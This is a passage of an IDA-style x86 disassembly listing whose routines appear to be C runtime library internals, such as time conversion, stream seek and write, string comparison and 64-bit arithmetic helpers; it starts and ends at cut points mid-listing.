; sub_420B80+3Dj ... xor ecx, ecx test ecx, ecx jnz short loc_420BA5 mov edx, [ebp+var_4] mov eax, [edx+14h] push eax mov ecx, [ebp+arg_0] push ecx call sub_41CA10 add esp, 8 push 9 call sub_423320 add esp, 4 loc_420C1A: ; CODE XREF: sub_420B80+Dj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_420B80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420C30 proc near ; CODE XREF: sub_40E176+Bp ; _0:0040ED2Fp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1 mov eax, [ebp+arg_0] push eax call sub_41BEA0 add esp, 8 mov [ebp+var_4], eax mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_420C30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420C50 proc near ; CODE XREF: sub_420D10+7p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx call sub_41EA10 push 2 mov eax, ds:dword_4F4A34 push eax call sub_41CE90 add esp, 8 mov ecx, ds:dword_4F4A30 sub ecx, ds:dword_4F4A34 add ecx, 4 cmp eax, ecx jnb short loc_420CDD push 68h push offset dword_43CDAC push 2 push 2 mov edx, ds:dword_4F4A34 push edx call sub_41CE90 add esp, 8 add eax, 10h push eax mov eax, ds:dword_4F4A34 push eax call sub_41C360 add esp, 14h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_420CBA call sub_41EA20 xor eax, eax jmp short loc_420CFF ; --------------------------------------------------------------------------- loc_420CBA: ; CODE XREF: sub_420C50+5Fj mov ecx, ds:dword_4F4A30 sub ecx, ds:dword_4F4A34 sar ecx, 2 mov edx, [ebp+var_4] lea eax, [edx+ecx*4] mov ds:dword_4F4A30, eax mov ecx, [ebp+var_4] mov ds:dword_4F4A34, ecx loc_420CDD: ; CODE XREF: sub_420C50+2Aj mov edx, ds:dword_4F4A30 mov eax, [ebp+arg_0] mov [edx], eax mov ecx, ds:dword_4F4A30 add ecx, 4 mov ds:dword_4F4A30, ecx call sub_41EA20 mov eax, [ebp+arg_0] loc_420CFF: ; CODE XREF: sub_420C50+68j mov esp, ebp pop ebp retn sub_420C50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420D10 proc near ; CODE XREF: _0:0040DBD5p ; sub_43A8C0+8p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push eax call sub_420C50 add esp, 4 neg eax sbb eax, eax neg eax dec eax pop ebp retn sub_420D10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420D30 proc near ; DATA XREF: _2:0043F020o push ebp mov ebp, esp push 0B6h push offset dword_43CDAC push 2 push 80h call sub_41BE70 add esp, 10h mov ds:dword_4F4A34, eax cmp ds:dword_4F4A34, 0 jnz short loc_420D64 push 18h call sub_422270 add esp, 4 loc_420D64: ; CODE XREF: sub_420D30+28j mov eax, ds:dword_4F4A34 mov dword ptr [eax], 0 mov ecx, ds:dword_4F4A34 mov ds:dword_4F4A30, ecx pop ebp retn sub_420D30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420D80 proc near ; CODE XREF: sub_40E29B+1A2p var_D8 = dword ptr -0D8h var_D4 = dword ptr -0D4h var_D0 = byte ptr -0D0h var_36 = dword ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_A = dword ptr -0Ah var_6 = dword ptr -6 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0D8h lea eax, [ebp+var_24] push eax call ds:dword_4F5404 ; GetLocalTime lea ecx, [ebp+var_10] push ecx call ds:dword_4F5480 ; GetSystemTime mov edx, [ebp+var_6] and edx, 0FFFFh xor eax, eax mov ax, word ptr ds:dword_4F3358+2 cmp edx, eax jnz short loc_420E18 mov ecx, [ebp-8] and ecx, 0FFFFh xor edx, edx mov dx, word ptr ds:dword_4F3358 cmp ecx, edx jnz short loc_420E18 mov eax, [ebp+var_A] and eax, 0FFFFh xor ecx, ecx mov cx, ds:word_4F3356 cmp eax, ecx jnz short loc_420E18 mov edx, [ebp+var_10+2] and edx, 0FFFFh xor eax, eax mov ax, word ptr ds:dword_4F3350+2 cmp edx, eax jnz short loc_420E18 mov ecx, [ebp+var_10] and ecx, 0FFFFh xor edx, edx mov dx, word ptr ds:dword_4F3350 cmp ecx, edx jnz short loc_420E18 mov eax, ds:dword_4F3348 mov [ebp+var_D8], eax jmp loc_420EA0 ; --------------------------------------------------------------------------- loc_420E18: ; CODE XREF: sub_420D80+30j ; sub_420D80+46j ... lea ecx, [ebp+var_D0] push ecx call ds:dword_4F547C ; GetTimeZoneInformation mov [ebp+var_D4], eax cmp [ebp+var_D4], 0FFFFFFFFh jz short loc_420E68 cmp [ebp+var_D4], 2 jnz short loc_420E5C mov edx, [ebp+var_36] and edx, 0FFFFh test edx, edx jz short loc_420E5C cmp [ebp+var_28], 0 jz short loc_420E5C mov [ebp+var_D8], 1 jmp short loc_420E66 ; --------------------------------------------------------------------------- loc_420E5C: ; CODE XREF: sub_420D80+BBj ; sub_420D80+C8j ... mov [ebp+var_D8], 0 loc_420E66: ; CODE XREF: sub_420D80+DAj jmp short loc_420E72 ; --------------------------------------------------------------------------- loc_420E68: ; CODE XREF: sub_420D80+B2j mov [ebp+var_D8], 0FFFFFFFFh loc_420E72: ; CODE XREF: sub_420D80:loc_420E66j mov eax, [ebp+var_D8] mov ds:dword_4F3348, eax mov ecx, [ebp+var_10] mov ds:dword_4F3350, ecx mov edx, [ebp-0Ch] mov dword ptr ds:byte_4F3354, edx mov eax, [ebp+var_A+2] mov ds:dword_4F3358, eax mov ecx, [ebp+var_6+2] mov ds:dword_4F335C, ecx loc_420EA0: ; CODE XREF: sub_420D80+93j mov edx, [ebp+var_D8] push edx mov eax, [ebp+var_18] and eax, 0FFFFh push eax mov ecx, [ebp-1Ah] and ecx, 0FFFFh push ecx mov edx, [ebp+var_1C] and edx, 0FFFFh push edx mov eax, [ebp-1Eh] and eax, 0FFFFh push eax mov ecx, [ebp+var_24+2] and ecx, 0FFFFh push ecx mov edx, [ebp+var_24] and edx, 0FFFFh push edx call sub_42D9A0 add esp, 1Ch mov [ebp+var_14], eax cmp [ebp+arg_0], 0 jz short loc_420EFA mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] mov [eax], ecx loc_420EFA: ; CODE XREF: sub_420D80+170j mov eax, [ebp+var_14] mov esp, ebp pop ebp retn sub_420D80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420F10 proc near ; CODE XREF: sub_40E29B+18p ; sub_4350B0+40p ... var_10 = dword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_4F33F0 cmp dword ptr [eax+8], 0 jnz short loc_420F63 mov al, 0FFh mov edi, edi loc_420F2C: ; CODE XREF: sub_420F10+28j ; sub_420F10+48j or al, al jz short loc_420F5E mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_420F2C sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_420F2C sbb al, al sbb al, 0FFh loc_420F5E: ; CODE XREF: sub_420F10+1Ej movsx eax, al jmp short loc_420FDB ; --------------------------------------------------------------------------- loc_420F63: ; CODE XREF: sub_420F10+16j lock inc ds:dword_4F37C8 cmp ds:dword_4F37C4, 0 jg short loc_420F77 push 0 jmp short loc_420F8C ; --------------------------------------------------------------------------- loc_420F77: ; CODE XREF: sub_420F10+61j lock dec ds:dword_4F37C8 push 13h call sub_423280 mov [esp+10h+var_10], 1 loc_420F8C: ; CODE XREF: sub_420F10+65j mov eax, 0FFh xor ebx, ebx nop loc_420F94: ; CODE XREF: sub_420F10+90j ; sub_420F10+A8j or al, al jz short loc_420FBF mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_420F94 push eax push ebx call sub_421D30 mov ebx, eax add esp, 4 call sub_421D30 add esp, 4 cmp bl, al jz short loc_420F94 sbb eax, eax sbb eax, 0FFFFFFFFh loc_420FBF: ; CODE XREF: sub_420F10+86j mov ebx, eax pop eax or eax, eax jnz short loc_420FCF lock dec ds:dword_4F37C8 jmp short loc_420FD9 ; --------------------------------------------------------------------------- loc_420FCF: ; CODE XREF: sub_420F10+B4j push 13h call sub_423320 add esp, 4 loc_420FD9: ; CODE XREF: sub_420F10+BDj mov eax, ebx loc_420FDB: ; CODE XREF: sub_420F10+51j pop ebx pop esi pop edi leave retn sub_420F10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420FE0 proc near ; CODE XREF: sub_41206F+26Ep ; sub_41206F+377p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi push edi loc_420FE7: ; CODE XREF: sub_420FE0+2Fj cmp [ebp+arg_0], 0 jnz short loc_42100B push offset dword_43C504 push 0 push 65h push offset dword_43CDB8 push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_42100B int 3 ; Trap to Debugger loc_42100B: ; CODE XREF: sub_420FE0+Bj ; sub_420FE0+28j xor eax, eax test eax, eax jnz short loc_420FE7 mov ecx, [ebp+arg_0] push ecx call sub_422420 add esp, 4 mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_421050 add esp, 0Ch mov [ebp+var_4], eax mov edx, [ebp+arg_0] push edx call sub_422490 add esp, 4 mov eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_420FE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421050 proc near ; CODE XREF: sub_420FE0+49p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi push edi loc_421057: ; CODE XREF: sub_421050+32j cmp [ebp+arg_0], 0 jnz short loc_42107E push offset dword_43C514 push 0 push 92h push offset dword_43CDB8 push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_42107E int 3 ; Trap to Debugger loc_42107E: ; CODE XREF: sub_421050+Bj ; sub_421050+2Bj xor eax, eax test eax, eax jnz short loc_421057 mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 83h test eax, eax jz short loc_4210AB cmp [ebp+arg_8], 0 jz short loc_4210BE cmp [ebp+arg_8], 1 jz short loc_4210BE cmp [ebp+arg_8], 2 jz short loc_4210BE loc_4210AB: ; CODE XREF: sub_421050+47j call sub_429A90 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp loc_421170 ; --------------------------------------------------------------------------- loc_4210BE: ; CODE XREF: sub_421050+4Dj ; sub_421050+53j ... mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 0FFFFFFEFh mov eax, [ebp+var_4] mov [eax+0Ch], edx cmp [ebp+arg_8], 1 jnz short loc_4210EE mov ecx, [ebp+var_4] push ecx call sub_42E6A0 add esp, 4 mov edx, [ebp+arg_4] add edx, eax mov [ebp+arg_4], edx mov [ebp+arg_8], 0 loc_4210EE: ; CODE XREF: sub_421050+81j mov eax, [ebp+var_4] push eax call sub_422F20 add esp, 4 mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 80h test edx, edx jz short loc_42111B mov eax, [ebp+var_4] mov ecx, [eax+0Ch] and ecx, 0FFFFFFFCh mov edx, [ebp+var_4] mov [edx+0Ch], ecx jmp short loc_42114F ; --------------------------------------------------------------------------- loc_42111B: ; CODE XREF: sub_421050+B8j mov eax, [ebp+var_4] mov ecx, [eax+0Ch] and ecx, 1 test ecx, ecx jz short loc_42114F mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 8 test eax, eax jz short loc_42114F mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 400h test edx, edx jnz short loc_42114F mov eax, [ebp+var_4] mov dword ptr [eax+18h], 200h loc_42114F: ; CODE XREF: sub_421050+C9j ; sub_421050+D6j ... mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+var_4] mov ecx, [eax+10h] push ecx call sub_42E4E0 add esp, 0Ch sub eax, 0FFFFFFFFh neg eax sbb eax, eax neg eax dec eax loc_421170: ; CODE XREF: sub_421050+69j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_421050 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_421180 proc near ; CODE XREF: sub_4133AE+19Ep ; sub_414103+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_421199 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_421199: ; CODE XREF: sub_421180+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_421180 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4211C0 proc near ; CODE XREF: sub_416B2D+127p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_C] push eax call sub_422420 add esp, 4 mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_421200 add esp, 10h mov [ebp+var_4], eax mov edx, [ebp+arg_C] push edx call sub_422490 add esp, 4 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4211C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421200 proc near ; CODE XREF: sub_4211C0+20p var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 28h mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+arg_4] imul ecx, [ebp+arg_8] mov [ebp+var_10], ecx mov edx, [ebp+var_10] mov [ebp+var_C], edx cmp [ebp+var_C], 0 jnz short loc_421229 xor eax, eax jmp loc_421415 ; --------------------------------------------------------------------------- loc_421229: ; CODE XREF: sub_421200+20j mov eax, [ebp+arg_C] mov ecx, [eax+0Ch] and ecx, 10Ch test ecx, ecx jz short loc_421244 mov edx, [ebp+arg_C] mov eax, [edx+18h] mov [ebp+var_1C], eax jmp short loc_42124B ; --------------------------------------------------------------------------- loc_421244: ; CODE XREF: sub_421200+37j mov [ebp+var_1C], 1000h loc_42124B: ; CODE XREF: sub_421200+42j ; sub_421200:loc_42140Dj cmp [ebp+var_C], 0 jz loc_421412 mov ecx, [ebp+arg_C] mov edx, [ecx+0Ch] and edx, 108h test edx, edx jz short loc_4212D9 mov eax, [ebp+arg_C] cmp dword ptr [eax+4], 0 jz short loc_4212D9 mov ecx, [ebp+arg_C] mov edx, [ebp+var_C] cmp edx, [ecx+4] jnb short loc_421281 mov eax, [ebp+var_C] mov [ebp+var_20], eax jmp short loc_42128A ; --------------------------------------------------------------------------- loc_421281: ; CODE XREF: sub_421200+77j mov ecx, [ebp+arg_C] mov edx, [ecx+4] mov [ebp+var_20], edx loc_42128A: ; CODE XREF: sub_421200+7Fj mov eax, [ebp+var_20] mov [ebp+var_18], eax mov ecx, [ebp+var_18] push ecx mov edx, [ebp+var_8] push edx mov eax, [ebp+arg_C] mov ecx, [eax] push ecx call sub_41FBF0 add esp, 0Ch mov edx, [ebp+var_C] sub edx, [ebp+var_18] mov [ebp+var_C], edx mov eax, [ebp+arg_C] mov ecx, [eax+4] sub ecx, [ebp+var_18] mov edx, [ebp+arg_C] mov [edx+4], ecx mov eax, [ebp+arg_C] mov ecx, [eax] add ecx, [ebp+var_18] mov edx, [ebp+arg_C] mov [edx], ecx mov eax, [ebp+var_8] add eax, [ebp+var_18] mov [ebp+var_8], eax jmp loc_42140D ; --------------------------------------------------------------------------- loc_4212D9: ; CODE XREF: sub_421200+63j ; sub_421200+6Cj mov ecx, [ebp+var_C] cmp ecx, [ebp+var_1C] jb loc_4213AF mov edx, [ebp+arg_C] mov eax, [edx+0Ch] and eax, 108h test eax, eax jz short loc_421314 mov ecx, [ebp+arg_C] push ecx call sub_422F20 add esp, 4 test eax, eax jz short loc_421314 mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp loc_421415 ; --------------------------------------------------------------------------- loc_421314: ; CODE XREF: sub_421200+F2j ; sub_421200+102j cmp [ebp+var_1C], 0 jz short loc_42132C mov eax, [ebp+var_C] xor edx, edx div [ebp+var_1C] mov eax, [ebp+var_C] sub eax, edx mov [ebp+var_24], eax jmp short loc_421332 ; --------------------------------------------------------------------------- loc_42132C: ; CODE XREF: sub_421200+118j mov ecx, [ebp+var_C] mov [ebp+var_24], ecx loc_421332: ; CODE XREF: sub_421200+12Aj mov edx, [ebp+var_24] mov [ebp+var_18], edx mov eax, [ebp+var_18] push eax mov ecx, [ebp+var_8] push ecx mov edx, [ebp+arg_C] mov eax, [edx+10h] push eax call sub_42E940 add esp, 0Ch mov [ebp+var_14], eax cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_421377 mov ecx, [ebp+arg_C] mov edx, [ecx+0Ch] or edx, 20h mov eax, [ebp+arg_C] mov [eax+0Ch], edx mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp loc_421415 ; --------------------------------------------------------------------------- loc_421377: ; CODE XREF: sub_421200+156j mov ecx, [ebp+var_C] sub ecx, [ebp+var_14] mov [ebp+var_C], ecx mov edx, [ebp+var_8] add edx, [ebp+var_14] mov [ebp+var_8], edx mov eax, [ebp+var_14] cmp eax, [ebp+var_18] jnb short loc_4213AD mov ecx, [ebp+arg_C] mov edx, [ecx+0Ch] or edx, 20h mov eax, [ebp+arg_C] mov [eax+0Ch], edx mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp short loc_421415 ; --------------------------------------------------------------------------- loc_4213AD: ; CODE XREF: sub_421200+18Fj jmp short loc_42140D ; --------------------------------------------------------------------------- loc_4213AF: ; CODE XREF: sub_421200+DFj mov ecx, [ebp+var_8] movsx edx, byte ptr [ecx] mov [ebp+var_4], edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+var_4] push ecx call sub_427CE0 add esp, 8 cmp eax, 0FFFFFFFFh jnz short loc_4213DA mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp short loc_421415 ; --------------------------------------------------------------------------- loc_4213DA: ; CODE XREF: sub_421200+1CBj mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx mov eax, [ebp+var_C] sub eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+arg_C] cmp dword ptr [ecx+18h], 0 jle short loc_421400 mov edx, [ebp+arg_C] mov eax, [edx+18h] mov [ebp+var_28], eax jmp short loc_421407 ; --------------------------------------------------------------------------- loc_421400: ; CODE XREF: sub_421200+1F3j mov [ebp+var_28], 1 loc_421407: ; CODE XREF: sub_421200+1FEj mov ecx, [ebp+var_28] mov [ebp+var_1C], ecx loc_42140D: ; CODE XREF: sub_421200+D4j ; sub_421200:loc_4213ADj jmp loc_42124B ; --------------------------------------------------------------------------- loc_421412: ; CODE XREF: sub_421200+4Fj mov eax, [ebp+arg_8] loc_421415: ; CODE XREF: sub_421200+24j ; sub_421200+10Fj ... mov esp, ebp pop ebp retn sub_421200 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421420 proc near ; CODE XREF: sub_417264+8p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] push eax call ds:off_4F536C mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_42144B call ds:dword_4F5360 ; RtlGetLastWin32Error push eax call sub_4299F0 add esp, 4 or eax, 0FFFFFFFFh jmp short loc_42147C ; --------------------------------------------------------------------------- loc_42144B: ; CODE XREF: sub_421420+15j mov ecx, [ebp+var_4] and ecx, 1 test ecx, ecx jz short loc_42147A mov edx, [ebp+arg_4] and edx, 2 test edx, edx jz short loc_42147A call sub_429A90 mov dword ptr [eax], 0Dh call sub_429AA0 mov dword ptr [eax], 5 or eax, 0FFFFFFFFh jmp short loc_42147C ; --------------------------------------------------------------------------- loc_42147A: ; CODE XREF: sub_421420+33j ; sub_421420+3Dj xor eax, eax loc_42147C: ; CODE XREF: sub_421420+29j ; sub_421420+58j mov esp, ebp pop ebp retn sub_421420 endp ; =============== S U B R O U T I N E ======================================= sub_421480 proc near ; CODE XREF: sub_41727E+3Fp ; sub_41B605+2Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_4214A2 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_4214E3 ; --------------------------------------------------------------------------- loc_4214A2: ; CODE XREF: sub_421480+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_4214B0: ; CODE XREF: sub_421480+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_4214B0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_4214DE cmp edx, [esp+8+arg_4] ja short loc_4214DE jb short loc_4214DF cmp eax, [esp+8+arg_0] jbe short loc_4214DF loc_4214DE: ; CODE XREF: sub_421480+4Ej ; sub_421480+54j dec esi loc_4214DF: ; CODE XREF: sub_421480+56j ; sub_421480+5Cj xor edx, edx mov eax, esi loc_4214E3: ; CODE XREF: sub_421480+20j pop esi pop ebx retn 10h sub_421480 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4214F0 proc near ; CODE XREF: sub_41727E+2Dp ; sub_41B605+43p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_421511 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_421561 ; --------------------------------------------------------------------------- loc_421511: ; CODE XREF: sub_4214F0+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_42151F: ; CODE XREF: sub_4214F0+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_42151F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_42154A cmp edx, [esp+4+arg_4] ja short loc_42154A jb short loc_421552 cmp eax, [esp+4+arg_0] jbe short loc_421552 loc_42154A: ; CODE XREF: sub_4214F0+4Aj ; sub_4214F0+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_421552: ; CODE XREF: sub_4214F0+52j ; sub_4214F0+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_421561: ; CODE XREF: sub_4214F0+1Fj pop ebx retn 10h sub_4214F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_421570 proc near ; CODE XREF: sub_41738D+5Ep ; sub_41738D+8Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_421591 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_421591: ; CODE XREF: sub_421570+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_4215AD inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_4215AD: ; CODE XREF: sub_421570+27j or eax, eax jnz short loc_4215C9 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_42160A ; --------------------------------------------------------------------------- loc_4215C9: ; CODE XREF: sub_421570+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_4215D7: ; CODE XREF: sub_421570+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_4215D7 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_421605 cmp edx, [esp+0Ch+arg_4] ja short loc_421605 jb short loc_421606 cmp eax, [esp+0Ch+arg_0] jbe short loc_421606 loc_421605: ; CODE XREF: sub_421570+85j ; sub_421570+8Bj dec esi loc_421606: ; CODE XREF: sub_421570+8Dj ; sub_421570+93j xor edx, edx mov eax, esi loc_42160A: ; CODE XREF: sub_421570+57j dec edi jnz short loc_421614 neg edx neg eax sbb edx, 0 loc_421614: ; CODE XREF: sub_421570+9Bj pop ebx pop esi pop edi retn 10h sub_421570 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421620 proc near ; CODE XREF: sub_417A3E+BFp ; sub_417A3E+12Cp ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov [ebp+var_8], 0 cmp ds:dword_4F33F8, 0 jnz short loc_42167D mov eax, [ebp+arg_0] mov [ebp+var_10], eax jmp short loc_421647 ; --------------------------------------------------------------------------- loc_42163E: ; CODE XREF: sub_421620:loc_421673j mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx loc_421647: ; CODE XREF: sub_421620+1Cj mov edx, [ebp+var_10] movsx eax, byte ptr [edx] test eax, eax jz short loc_421675 mov ecx, [ebp+var_10] movsx edx, byte ptr [ecx] cmp edx, 61h jl short loc_421673 mov eax, [ebp+var_10] movsx ecx, byte ptr [eax] cmp ecx, 7Ah jg short loc_421673 mov edx, [ebp+var_10] mov al, [edx] add al, 0E0h mov ecx, [ebp+var_10] mov [ecx], al loc_421673: ; CODE XREF: sub_421620+3Aj ; sub_421620+45j jmp short loc_42163E ; --------------------------------------------------------------------------- loc_421675: ; CODE XREF: sub_421620+2Fj mov eax, [ebp+arg_0] jmp loc_4217DB ; --------------------------------------------------------------------------- loc_42167D: ; CODE XREF: sub_421620+14j push offset dword_4F37C8 call ds:dword_4F5488 ; InterlockedIncrement cmp ds:dword_4F37C4, 0 jz short loc_4216AF push offset dword_4F37C8 call ds:dword_4F5484 ; InterlockedDecrement push 13h call sub_423280 add esp, 4 mov [ebp+var_C], 1 jmp short loc_4216B6 ; --------------------------------------------------------------------------- loc_4216AF: ; CODE XREF: sub_421620+6Fj mov [ebp+var_C], 0 loc_4216B6: ; CODE XREF: sub_421620+8Dj cmp ds:dword_4F33F8, 0 jnz short loc_421724 cmp [ebp+var_C], 0 jz short loc_4216D1 push 13h call sub_423320 add esp, 4 jmp short loc_4216DC ; --------------------------------------------------------------------------- loc_4216D1: ; CODE XREF: sub_421620+A3j push offset dword_4F37C8 call ds:dword_4F5484 ; InterlockedDecrement loc_4216DC: ; CODE XREF: sub_421620+AFj mov edx, [ebp+arg_0] mov [ebp+var_14], edx jmp short loc_4216ED ; --------------------------------------------------------------------------- loc_4216E4: ; CODE XREF: sub_421620:loc_42171Aj mov eax, [ebp+var_14] add eax, 1 mov [ebp+var_14], eax loc_4216ED: ; CODE XREF: sub_421620+C2j mov ecx, [ebp+var_14] movsx edx, byte ptr [ecx] test edx, edx jz short loc_42171C mov 